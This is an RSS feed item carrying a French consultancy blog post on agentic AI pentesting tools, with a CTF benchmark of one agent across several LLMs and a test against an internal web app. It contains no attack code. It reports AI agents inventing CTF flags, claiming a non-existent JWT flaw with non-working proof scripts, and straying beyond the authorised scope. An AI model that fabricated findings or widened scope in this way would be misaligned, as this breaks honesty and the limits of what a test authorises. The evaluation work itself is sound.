<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ctf - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/tag/ctf/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/tag/ctf/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Tue, 07 Apr 2026 17:53:37 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>ctf - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/tag/ctf/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>IA Agentique pour la Sécurité Offensive</title>
		<link>https://www.riskinsight-wavestone.com/2026/04/ia-agentique-pour-la-securite-offensive/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/04/ia-agentique-pour-la-securite-offensive/#respond</comments>
		
		<dc:creator><![CDATA[Thomas Rousseau]]></dc:creator>
		<pubDate>Tue, 07 Apr 2026 14:42:48 +0000</pubDate>
				<category><![CDATA[Eclairage]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Agentic AI]]></category>
		<category><![CDATA[AI Hallucinations]]></category>
		<category><![CDATA[Autonomous Pentesting]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[Web pentesting]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=29660</guid>

					<description><![CDATA[<p>L’IA s’intègre désormais dans un nombre croissant de processus de sécurité offensive. Le changement le plus visible est l’essor de services appliquant des grands modèles de langage (LLM) et une orchestration agentique à des activités de test autonomes. Certains éditeurs...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/04/ia-agentique-pour-la-securite-offensive/">IA Agentique pour la Sécurité Offensive</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[




<p style="text-align: justify;">L’IA s’intègre désormais dans un nombre croissant de processus de sécurité offensive. Le changement le plus visible est l’essor de services appliquant des grands modèles de langage (LLM) et une orchestration agentique à des activités de test autonomes. Certains éditeurs sont présents depuis plusieurs années, d’autres sont apparus récemment, mais le rythme d’évolution s’est clairement accéléré au cours des six derniers mois.<br />L’offre commerciale comprend des plateformes éditeurs telles que Horizon3.ai / NodeZero, Pentera, XBOW et RunSybil, tandis que l’écosystème open source inclut des projets comme Strix, Shannon, PentAGI, PentestGPT et PentestAgent. Leurs positionnements diffèrent, mais tous cherchent à traduire l’adaptabilité des systèmes IA modernes en résultats concrets de sécurité offensive.<br />L’objectif de cet article n’est pas de comparer les éditeurs. Il s’agit plutôt de clarifier le fonctionnement des systèmes de pentest agentiques, les prérequis techniques qu’ils nécessitent, et les limites qui empêchent encore de les considérer comme des testeurs autonomes pleinement fiables.</p>
<p> </p>
<h2>Une architecture commune pour les tests offensifs agentiques</h2>
<p style="text-align: justify;">Le paysage actuel est composé d’outils hétérogènes aux stratégies produit et cas d’usage très variés : tests de sécurité web externe, revues d’infrastructure interne et Active Directory, évaluations de sécurité cloud, ou analyse de code source proche du pipeline CI/CD.</p>
<p style="text-align: justify;">Dans leurs meilleures configurations, les systèmes les plus aboutis sont aujourd’hui capables de mener des revues de sécurité statiques et dynamiques autonomes avec de fortes capacités de raisonnement, et un workflow qui ressemble souvent à la posture analytique d’un pentesteur humain.</p>
<figure id="attachment_29661" aria-describedby="caption-attachment-29661" style="width: 1511px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="size-full wp-image-29661" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Capacite-de-raisonnement-autonome.png" alt="Capacité de raisonnement autonome" width="1511" height="767" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Capacite-de-raisonnement-autonome.png 1511w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Capacite-de-raisonnement-autonome-376x191.png 376w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Capacite-de-raisonnement-autonome-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/1-Capacite-de-raisonnement-autonome-768x390.png 768w" sizes="(max-width: 1511px) 100vw, 1511px" /><figcaption id="caption-attachment-29661" class="wp-caption-text"><em>Capacité de raisonnement autonome</em></figcaption></figure>
<p style="text-align: justify;">L’efficacité de beaucoup de ces outils est évaluée en interne ou via des environnements de capture-the-flag, les CTF offrant un moyen objectif de comparer la profondeur de raisonnement, les capacités d’exploitation et l’usage des outils. Malgré la diversité des architectures, on retrouve les composants essentiels suivants dans la plupart des solutions :</p>
<figure id="attachment_29663" aria-describedby="caption-attachment-29663" style="width: 1818px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-29663" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Architecture-standard-et-composants-dune-solution-agentique-de-pentest-automatise.png" alt="Architecture standard et composants d’une solution agentique de pentest automatisé" width="1818" height="580" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Architecture-standard-et-composants-dune-solution-agentique-de-pentest-automatise.png 1818w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Architecture-standard-et-composants-dune-solution-agentique-de-pentest-automatise-437x139.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Architecture-standard-et-composants-dune-solution-agentique-de-pentest-automatise-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Architecture-standard-et-composants-dune-solution-agentique-de-pentest-automatise-768x245.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/2-Architecture-standard-et-composants-dune-solution-agentique-de-pentest-automatise-1536x490.png 1536w" sizes="(max-width: 1818px) 100vw, 1818px" /><figcaption id="caption-attachment-29663" class="wp-caption-text"><em>Architecture standard et composants d’une solution agentique de pentest automatisé</em></figcaption></figure>
<ul>
<li style="text-align: justify;"><strong>Un orchestrateur : </strong>Cette couche coordonne les agents et leur parallélisme, gère les blocages et timeout, orchestre les workflows préconfigurés, et relie les composants en une chaîne d’exécution cohérente.</li>
<li style="text-align: justify;"><strong>Un LLM sous-jacent : </strong>Le modèle constitue le noyau cognitif du système, alternant boucles de raisonnement, invocation d’outils et création de sous-agents selon les besoins. La capacité à utiliser des outils est indispensable et les LLM « state-of-the-art » donnent généralement de meilleurs résultats.</li>
<li style="text-align: justify;"><strong>Une boîte à outils offensive : </strong>La plupart des plateformes s’appuient sur un kit d’outils conteneurisé globalement aligné sur un standard de type Kali. Le contenu exact varie selon les cas d’usage, mais l’outillage typiquement requis pour des tests web reste par exemple assez standard et limité. De nombreuses solutions permettent également à l’agent de télécharger des outils supplémentaires ou de cloner des dépôts GitHub à la demande.</li>
<li style="text-align: justify;"><strong>Un ensemble de « skills » ou packs de connaissance : </strong>Ces bibliothèques locales formalisent une expertise réutilisable, incluant des techniques d’attaque spécifiques à certaines technologies, des <em>cheatsheet</em> de pentesteurs, des workflows d’exploitation standards, ou bien des détails sur les vulnérabilités ou scénarios d’attaque récents</li>
</ul>
<p style="text-align: justify;">Cette dernière couche est souvent celle où les éditeurs peuvent se différencier le plus clairement. Des capacités solides de veille cyber, de Threat Hunting et de Cyber Threat Intelligence permettent d’actualiser en continu cette base de connaissances et d’améliorer la confiance dans la couverture réelle assurée par ces agents automatisés.</p>
<p style="text-align: justify;">Ces agents étant capables d’exécuter des actions offensives en environnements de production, l’observabilité et la supervision sont essentielles. La plupart des implémentations incluent donc journalisation, télémétrie, et rejeu de session, ainsi que des mécanismes d’approbation humaine pour certaines actions, ou des garde-fous distinguant les modules à faible risque des commandes ou chemins d’exploitation plus dangereux.</p>
<p style="text-align: justify;">Il est également important de distinguer les systèmes pleinement agentiques des produits qui n’utilisent l’IA que de façon sélective. En pratique, de nombreuses plateformes éditeurs reposent sur des workflows majoritairement déterministes, parfois orchestrés par des modèles plus petits et spécialisés, avant de déléguer uniquement les étapes d’exploitation les plus ambiguës à un modèle généraliste plus capable.</p>
<p> </p>
<h2>Étude de cas : efficacité</h2>
<h3>Étude de cas : CTF</h3>
<p style="text-align: justify;">Pour évaluer l’efficacité actuelle du pentest agentique, nous avons réalisé des tests d’une telle solution (Strix) avec plusieurs modèles différents sur un ensemble interne de challenges CTF Wavestone pour lesquels aucun write-up public n’était disponible. L’objectif n’était pas de comparer des produits entre eux, mais de comprendre comment la qualité du modèle influence les résultats, sur un cas d’usage web.</p>
<p style="text-align: justify;">Le choix de l’exploitation web est pertinent, combinant une large couverture thématique avec des niveaux de difficulté variés. Toutefois, l’exercice ne doit pas être sur-généralisé : il ne représente pas fidèlement d’autres contextes spécifiques tels que les tests internes ou les évaluations Active Directory.</p>
<figure id="attachment_29665" aria-describedby="caption-attachment-29665" style="width: 1849px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-29665" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/3-Benchmark-d‘un-ensemble-de-LLMs-sur-des-challenges-CTF-internes.png" alt="Benchmark d‘un ensemble de LLMs sur des challenges CTF internes" width="1849" height="746" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/3-Benchmark-d‘un-ensemble-de-LLMs-sur-des-challenges-CTF-internes.png 1849w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/3-Benchmark-d‘un-ensemble-de-LLMs-sur-des-challenges-CTF-internes-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/3-Benchmark-d‘un-ensemble-de-LLMs-sur-des-challenges-CTF-internes-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/3-Benchmark-d‘un-ensemble-de-LLMs-sur-des-challenges-CTF-internes-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/3-Benchmark-d‘un-ensemble-de-LLMs-sur-des-challenges-CTF-internes-1536x620.png 1536w" sizes="(max-width: 1849px) 100vw, 1849px" /><figcaption id="caption-attachment-29665" class="wp-caption-text"><em>Benchmark d‘un ensemble de LLMs sur des challenges CTF internes</em></figcaption></figure>
<p style="text-align: justify;">Plusieurs conclusions ont émergé de cet exercice :</p>
<ul style="text-align: justify;">
<li>Les résultats ne deviennent véritablement impressionnants que lorsque le système est associé à un modèle LLM de pointe.</li>
<li>À l’inverse, les modèles pouvant réaliste​ment tourner sur un poste de travail haut de gamme tendent encore à produire des performances médiocres en test offensif, ce qui fait des fournisseurs IA SaaS la seule solution effective aujourd’hui.</li>
<li>Des modèles puissants peuvent toutefois manquer des vulnérabilités exploitables, tandis que certains modèles de grande taille, mais moins optimisés, peuvent sous-performer, potentiellement car Strix n’a pas été conçu et calibré pour eux.</li>
<li>Des modèles plus petits font parfois preuve d’éclairs de génie, résolvant des challenges qui résistent aux modèles plus puissants.</li>
<li>Sans surprise, on observe une tendance persistante à l’hallucination de chemins d’exploitation, notamment lorsque les LLM atteignent une impasse (dans les CTF, cela se manifeste souvent par des flags inventés).</li>
<li>Pour ne pas polluer leur contexte avec de grands volumes de données, les agents ont tendance à tronquer massivement les données (pages web, fichiers de code, …) et à être trop spécifiques dans leurs recherches (“grep” ou “find”). Dans les deux cas, ce comportement peut limiter leur couverture du périmètre et leur efficacité globale.</li>
</ul>
<p style="text-align: justify;">Ces résultats doivent être interprétés avec prudence. Pour chaque modèle et chaque challenge, le benchmark a été limité à au plus deux exécutions. Dans plusieurs cas, un modèle pouvait être très proche de la solution avant d’halluciner la dernière étape, ou nécessiter une intervention humaine pour clore l’investigation. Typiquement, ces cas pourraient être rattrapés par une revue humain.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Il est clair que les meilleurs résultats du benchmark ont été obtenus avec des modèles propriétaires de pointe. D’après nos observations, ces modèles peuvent résoudre une part substantielle des tâches offensives tout en restant opérationnellement abordables; du moins tant que les sessions convergent rapidement.</p>
<figure id="attachment_29667" aria-describedby="caption-attachment-29667" style="width: 1576px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-29667" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/4-Performance-et-metriques-cles-de-consommation-pour-GPT-5.png" alt="Performance et métriques clés de consommation pour GPT-5" width="1576" height="886" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/4-Performance-et-metriques-cles-de-consommation-pour-GPT-5.png 1576w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/4-Performance-et-metriques-cles-de-consommation-pour-GPT-5-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/4-Performance-et-metriques-cles-de-consommation-pour-GPT-5-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/4-Performance-et-metriques-cles-de-consommation-pour-GPT-5-768x432.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/4-Performance-et-metriques-cles-de-consommation-pour-GPT-5-1536x864.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/4-Performance-et-metriques-cles-de-consommation-pour-GPT-5-800x450.png 800w" sizes="auto, (max-width: 1576px) 100vw, 1576px" /><figcaption id="caption-attachment-29667" class="wp-caption-text"><em>Performance et métriques clés de consommation pour GPT-5</em></figcaption></figure>
<p> </p>
<figure id="attachment_29669" aria-describedby="caption-attachment-29669" style="width: 1588px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-29669" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5-Performance-et-metriques-cles-de-consommation-pour-Sonnet4.6.png" alt="Performance et métriques clés de consommation pour Sonnet4.6" width="1588" height="892" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5-Performance-et-metriques-cles-de-consommation-pour-Sonnet4.6.png 1588w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5-Performance-et-metriques-cles-de-consommation-pour-Sonnet4.6-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5-Performance-et-metriques-cles-de-consommation-pour-Sonnet4.6-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5-Performance-et-metriques-cles-de-consommation-pour-Sonnet4.6-768x431.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5-Performance-et-metriques-cles-de-consommation-pour-Sonnet4.6-1536x863.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5-Performance-et-metriques-cles-de-consommation-pour-Sonnet4.6-800x450.png 800w" sizes="auto, (max-width: 1588px) 100vw, 1588px" /><figcaption id="caption-attachment-29669" class="wp-caption-text"><em>Performance et métriques clés de consommation pour Sonnet4.6</em></figcaption></figure>
<p style="text-align: justify;">Ce que cela nous montre :</p>
<ul>
<li style="text-align: justify;">Le coût par challenge peut rester relativement modeste, de l’ordre de quelques euros lorsque l’agent converge efficacement.</li>
<li style="text-align: justify;">L’exécution peut être étonnamment rapide, avec de nombreux CTF résolus en moins de cinq minutes lorsque le modèle identifie le bon chemin tôt dans son investigation.</li>
<li style="text-align: justify;">Les échecs peuvent se révéler coûteux. Sans garde-fous stricts sur la durée et le budget, la consommation de tokens peut augmenter considérablement, et ce sur quelques heures.</li>
<li style="text-align: justify;">Dans notre configuration, le taux de réussite des modèles commerciaux de pointe étaient identiques, mais l’efficacité variait substantiellement en termes de temps, de consommation de tokens et de nombre d’invocations d’outils. De façon surprenante, dans ce contexte CTF, malgré un prix au token plus élevé pour Sonnet 4.6, le coût total des sessions tend à s&rsquo;équilibrer avec GPT-5, le modèle d&rsquo;Anthropic compensant par une meilleure efficacité en tokens. </li>
</ul>
<p> </p>
<h3>Étude de cas : application web réelle</h3>
<p style="text-align: justify;">Pour compléter les benchmarks CTF, nous avons également testé l’une de nos applications web développées en interne (utilisée pour la gestion des RH et des performances). Le système a été évalué avec plusieurs approches, notamment des modes authentifiés dans lesquels l’agent se voit fournir des identifiants ou des jetons d’authentification.</p>
<p style="text-align: justify;">Au cours d’une session représentative, 25 agents et sous-agents ont été déployés, 366 appels d’outils ont été exécutés, pour un coût total d’environ 5 USD, la session ayant duré environ une heure. Le rapport généré automatiquement affichait une synthèse managériale, une section méthodologique orientée OWASP, des conclusions techniques avec scoring CVSS v3, ainsi qu’une feuille de route de remédiation priorisée.</p>
<figure id="attachment_29671" aria-describedby="caption-attachment-29671" style="width: 657px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-29671" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/6-Hierarchie-dagents-deployee-lors-dune-revue-de-securite-automatisee.png" alt="Hiérarchie d’agents déployée lors d’une revue de sécurité automatisée" width="657" height="716" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/6-Hierarchie-dagents-deployee-lors-dune-revue-de-securite-automatisee.png 657w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/6-Hierarchie-dagents-deployee-lors-dune-revue-de-securite-automatisee-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/6-Hierarchie-dagents-deployee-lors-dune-revue-de-securite-automatisee-36x39.png 36w" sizes="auto, (max-width: 657px) 100vw, 657px" /><figcaption id="caption-attachment-29671" class="wp-caption-text"><em>Hiérarchie d’agents déployée lors d’une revue de sécurité automatisée</em></figcaption></figure>
<p style="text-align: justify;">Les résultats sont mitigés, mais globalement instructifs après revue humaine et re-test :</p>
<ul style="text-align: justify;">
<li style="text-align: justify;">L’agent a identifié plusieurs axes d’amélioration mineurs mais pertinents, bien que les conclusions n’aient pas toujours été bien contextualisées et aient pu devenir excessivement alarmistes.</li>
<li style="text-align: justify;">Lacune critique : l&rsquo;agent a complètement manqué une interface d&rsquo;administration exposée avec des identifiants par défaut; une vulnérabilité qu&rsquo;aucun pentesteur humain n&rsquo;aurait ignorée. C&rsquo;est l&rsquo;illustration la plus nette du plafond de fiabilité actuel de ces systèmes.</li>
<li style="text-align: justify;">De plus, le rapport présentait également une vulnérabilité inexistante (confusion d’algorithme JWT) relevée comme critique, accompagné de scripts <em>Proof-of-Exploitation</em> ne fonctionnant logiquement pas. Cela illustre le risque persistant de faux positifs au sein des LLM.</li>
</ul>
<p style="text-align: justify;">Plusieurs remarques complémentaires :</p>
<ul style="text-align: justify;">
<li>Comme pour les benchmarks CTF, la qualité de la revue s&rsquo;améliore significativement avec un modèle SaaS de pointe.</li>
<li>La nature non déterministe des LLM reste visible : deux exécutions peuvent produire des conclusions et des rapports substantiellement différents pour une même cible.</li>
<li>Si les contrôles de périmètre sont insuffisants, certains modèles ont une tendance à élargir le périmètre du pentest, sondant des ports, applications ou sous-domaines adjacents.</li>
<li>La couverture et la pertinence s’améliorent nettement en modes boîte blanche ou hybride boîte blanche/boîte grise, où l’agent peut inspecter le code source, identifier des faiblesses candidates, puis tenter de les valider dynamiquement sur l’application en production. Même dans ce cas, certains agents peuvent encore se focaliser sur des problèmes inexistants. De plus, en boîte blanche, de très grandes bases de code peuvent saturer le système et réduire l’efficacité globale.</li>
<li>Les capacités de ces solutions à émuler un comportement humain a nettement progressé, notamment les interactions pilotées avec les navigateurs web. Toutefois, certains types d’applications restent difficiles à évaluer de manière autonome, notamment des cas de figures « multi-fenêtres » ou les clients lourds, pour lesquels une interaction navigateur en mode <em>headless</em> peut ne pas suffire.</li>
<li>Ces systèmes construisent rarement une compréhension approfondie de la logique métier. Leurs résultats restent fortement alignés sur des patterns génériques de type OWASP et ne challengent pas les risques métier réels ou les scénarios d’attaque de manière suffisamment contextuelle.</li>
</ul>
<p style="text-align: justify;">On notera que la majorité de ces reproches peuvent également être applicables à des pentesters humains, ces derniers restant toutefois davantage responsabilisable.</p>
<p style="text-align: justify;">Le problème de passage à l’échelle reste central. Les CTF ne sont que partiellement représentatifs des applications réelles. Un CTF aura généralement tendance à guider le participant vers un chemin d’attaque étroit et délibéré, alors que même une application métier modeste exposera une surface bien plus large. Aujourd’hui, garantir une couverture exhaustive pour des applications réelles reste complexe.</p>
<p> </p>
<h2>Verdict et limites actuelles</h2>
<h3>Verdict</h3>
<p style="text-align: justify;">Si l’on considère des solutions reposant entièrement sur un LLM pour leur arbre de décision, la conclusion est claire à ce stade : seuls les modèles de pointe des principaux fournisseurs IA produisent systématiquement des résultats à la fois pertinents et raisonnablement vérifiables.</p>
<p style="text-align: justify;">Nous pouvons considérer quatre options de déploiement pratiques :</p>
<ul>
<li style="text-align: justify;">Les <strong>services LLM SaaS</strong>, qui offrent actuellement la meilleure qualité via des LLM avancés (&gt;1T paramètres), sur une base de paiement à l’utilisation.</li>
<li style="text-align: justify;">Les <strong>déploiements en grands datacenters privés</strong>, capables de faire tourner des modèles puissants (500b) et pouvant devenir de plus en plus pertinents pour le pentest, mais restant encore sensiblement en deçà des meilleurs systèmes frontier commerciaux.</li>
<li style="text-align: justify;">Les <strong>déploiements en datacenters privés plus modestes</strong>, capables de faire tourner des modèles compétents (300b), mais clairement insuffisants pour orchestrer efficacement des pentests autonomes.</li>
<li style="text-align: justify;">Les <strong>postes de travail dédiés</strong>, qui, même avec des spécifications très élevées, peinent rapidement au-delà de 100b de paramètres et restent largement insuffisants aujourd’hui.</li>
</ul>
<figure id="attachment_29673" aria-describedby="caption-attachment-29673" style="width: 1698px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-29673" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/7-Distribution-illustrative-des-modeles-locaux-open-source-par-nombre-de-parametres-et-taille-totale.png" alt="Distribution illustrative des modèles locaux open source par nombre de paramètres et taille totale" width="1698" height="899" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/7-Distribution-illustrative-des-modeles-locaux-open-source-par-nombre-de-parametres-et-taille-totale.png 1698w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/7-Distribution-illustrative-des-modeles-locaux-open-source-par-nombre-de-parametres-et-taille-totale-361x191.png 361w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/7-Distribution-illustrative-des-modeles-locaux-open-source-par-nombre-de-parametres-et-taille-totale-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/7-Distribution-illustrative-des-modeles-locaux-open-source-par-nombre-de-parametres-et-taille-totale-768x407.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/7-Distribution-illustrative-des-modeles-locaux-open-source-par-nombre-de-parametres-et-taille-totale-1536x813.png 1536w" sizes="auto, (max-width: 1698px) 100vw, 1698px" /><figcaption id="caption-attachment-29673" class="wp-caption-text"><em>Distribution illustrative des modèles locaux open source par nombre de paramètres et taille totale</em></figcaption></figure>
<p style="text-align: justify;">La dépendance aux fournisseurs SaaS soulève des questions inévitables de souveraineté et de confidentialité. Les tests d’intrusion consolident souvent des informations techniques très sensibles sur les faiblesses cyber d’une organisation. L’externalisation des prompts, traces, conclusions ou hypothèses d’attaque nécessite ainsi une gouvernance rigoureuse. En complément, l&rsquo;anonymisation des données en amont du LLM n&rsquo;est pas une solution fiable : elle dégrade les performances de l&rsquo;agent tout en laissant fuiter des métadonnées potentiellement exploitables vers le fournisseur SaaS.</p>
<p style="text-align: justify;">Dans leur état actuel, même équipés des LLMs les plus capables, ces systèmes présentent également des limitations structurelles qui affectent directement la fiabilité :</p>
<ul>
<li style="text-align: justify;">Des phénomènes de “tunnel”, avec une fixation trop prolongée de l’agent sur un unique chemin d’attaque non pertinent.</li>
<li style="text-align: justify;">Une tendance à lancer des activités de bruteforce chronophages et consommatrice sans appréciation de la complexité ou du coût computationnel.</li>
<li style="text-align: justify;">La problèmatique des hallucinations, sur laquelle d’immenses progrès ont été réalisés, mais qui peut encore affecter les LLM, y compris les plus complexes.</li>
</ul>
<figure id="attachment_29675" aria-describedby="caption-attachment-29675" style="width: 1511px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-29675" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/8-Facilite-a-halluciner-ou-mal-interpreter-les-resultats-ici-avec-kimi-k2-1T.png" alt="Facilité à halluciner ou mal interpréter les résultats, ici avec kimi-k2 (1T)" width="1511" height="334" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/8-Facilite-a-halluciner-ou-mal-interpreter-les-resultats-ici-avec-kimi-k2-1T.png 1511w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/8-Facilite-a-halluciner-ou-mal-interpreter-les-resultats-ici-avec-kimi-k2-1T-437x97.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/8-Facilite-a-halluciner-ou-mal-interpreter-les-resultats-ici-avec-kimi-k2-1T-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/8-Facilite-a-halluciner-ou-mal-interpreter-les-resultats-ici-avec-kimi-k2-1T-768x170.png 768w" sizes="auto, (max-width: 1511px) 100vw, 1511px" /><figcaption id="caption-attachment-29675" class="wp-caption-text"><em>Facilité à halluciner ou mal interpréter les résultats, ici avec kimi-k2 (1T)</em></figcaption></figure>
<ul>
<li style="text-align: justify;">La nature non déterministe des LLM, rendant certaines exécutions bien moins efficaces et pertinentes que d’autres, confirmant l’utilité de ces agents dans une approche continue ou régulière.</li>
<li style="text-align: justify;">Des difficultés de passage à l’échelle liées aux contraintes de fenêtre de contexte : ces outils permettent un passage à l’échelle dans le sens où l’on peut lancer autant de sessions parallèles que de cibles. Cependant, le passage à l’échelle est plus complexe lorsqu’une session unique est lancée contre une unique application hautement complexe. Il devient alors beaucoup plus difficile de maintenir une couverture exhaustive et une continuité de mémoire sur des applications larges et riches en contenu. D’importantes améliorations sont possibles sur ce volet, une gestion efficace de la mémoire à long terme permettant des exécutions plus cohérentes pour les grandes applications et améliorant la confiance dans le couverture.</li>
<li style="text-align: justify;">Une verbosité élevée et une furtivité limitée, qui rendent ces systèmes peu adaptés dans leur configuration par défaut aux opérations Red Team, qui nécessitent davantage de discrétion. Cela peut toutefois être amélioré par une configuration dédiée, sans toutefois promettre d’égaler les capacités d’un Red Teamer humain.</li>
</ul>
<p style="text-align: justify;">De manière plus générale, un processus autonome piloté en SaaS et ayant la capacité d’exécuter des commandes à distance dans vos SI pose d’emblée la question de la responsabilité :</p>
<ul style="text-align: justify;">
<li>Classer les modules comme dangereux ou sûrs peut ne pas suffire, par exemple avec des outils couteaux-suisses, capables d’une reconnaissance anodine et d’exploits agressifs et potentiellement dangereux. Le niveau de menace de chaque commande devrait être évalué dynamiquement, en tenant compte du contexte et des tests précédents.</li>
<li>S’appuyer sur une approbation humaine peut également avoir ses limites : au même titre que pour les solutions de vibe coding, une « fatigue » humaine peut rapidement s’installer, où les utilisateurs deviennent trop confiants et cessent de remettre en question les conclusions de l’agent.</li>
</ul>
<p style="text-align: justify;">Et bien entendu, toute vulnérabilité au niveau du LLM, telle qu’une susceptibilité au <em>prompt injection</em> ou à l’empoisonnement, pourrait être exploitée pour détourner l’agent de pentest automatisé. En substance, ces outils autonomes, s’ils sont déployés en interne, doivent être considérés comme des actifs critiques, très interessants pour de potentiels attaquants.</p>
<p> </p>
<h3>Où l’architecture peut s’améliorer</h3>
<p style="text-align: justify;">Au-delà de la qualité du modèle lui-même, une part substantielle des améliorations possibles réside dans la conception globale du système. Plusieurs directions architecturales apparaissent prometteuses :</p>
<ul style="text-align: justify;">
<li>Multiplier les sessions et les passes de validation, en utilisant une exploration continue, des phases de zoom ciblées et des boucles de confirmation explicites. La fiabilité s’en voit améliorée, au prix d’une augmentation du coût, de la durée, et de la complexité de la solution.</li>
<li>Introduire des instances de validation dédiées pour confirmer l’exploitabilité dans un environnement contrôlé avant que les conclusions ne soient intégrées dans un rapport.</li>
<li>Utiliser des arbres de décision plus légers ou des modules spécialisés en amont de l’exploitation, en réservant les modèles haut de gamme uniquement pour les parties du workflow qui nécessitent vraiment adaptabilité et raisonnement.</li>
<li>Faire précéder la phase autonome d’une phase préliminaire de tests scriptés, puis alimenter l’agent avec les sorties structurées. C’est approche apparait bien plus rentable que de dépenser du contexte et des tokens LLM sur des tâches déjà faciles à automatiser sans IA. Le principe de base doit être simple : ne pas utiliser l’IA là où l’automatisation conventionnelle fonctionne déjà bien. Déléguer au LLM uniquement les taches véritablement ambiguës, et éviter de surcharger le modèle avec un long historique de commandes.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">En pratique, ce dernier point est déjà la direction prise par de nombreuses plateformes éditeurs. Elles ne s’appuient pas entièrement sur l’IA agentique ; elles combinent plutôt une logique déterministe avec une exploitation agentique.</p>
